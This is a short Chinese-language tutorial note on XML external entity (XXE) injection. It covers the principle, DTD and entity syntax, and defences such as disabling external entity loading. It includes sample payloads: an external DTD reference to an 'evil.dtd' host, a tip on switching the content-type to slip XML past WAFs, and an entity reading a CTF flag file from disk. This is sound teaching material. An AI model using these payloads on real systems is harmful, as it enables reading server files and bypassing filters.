XXE漏洞原理
XXE(外部实体注入)是XML外部实体注入。
当应用程序允许引用外部实体时,通过XXE,攻击者可以实现任意文件读取,DOS拒绝服务攻击以及代理扫描内网等。
常规的POST的content-type为application/x-www-form-urlencoded,但只要将其修改为application/json,就可以传入json格式的POST数据,修改为application/xml,就可以传入XML格式的数据。常规的WAF一般只检测application/x-www-form-urlencoded的数据。
防御方法:
1.禁用外部实体(PHP:可以将libxml_disable_entity_loader设置为TRUE来禁用外部实体)
2.过滤用户提交的XML数据
DTD
DTD(文档类型定义)用来是定义 XML 文档的合法构建模块。
DTD 可以在 XML 文档内声明,也可以外部引用。
内部:<!DOCTYPE 根元素 [元素声明]>
ex: <!DOCTYOE test [any]>
外部:<!DOCTYPE 根元素 SYSTEM "文件名">
ex:<!DOCTYPE test SYSTEM 'http://www.test.com/evil.dtd'>
结合:<!DOCTYPE 根元素 SYSTEM "DTD文件路径" [定义内容]>
DTD实体
1.内部实体声明
<!ENTITY 实体名称 "实体的值">
<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY writer "Bill Gates">
<!ENTITY copyright "Copyright W3School.com.cn">
]>
<test>&writer;©right;</test>
2.外部实体声明
<?xml version="1.0"?>
<!DOCTYPE a [
<!ENTITY b SYSTEM "file:///home/ctf/flag.txt">
]
>
<c>&b;</c>
读取flag.txt输出到页面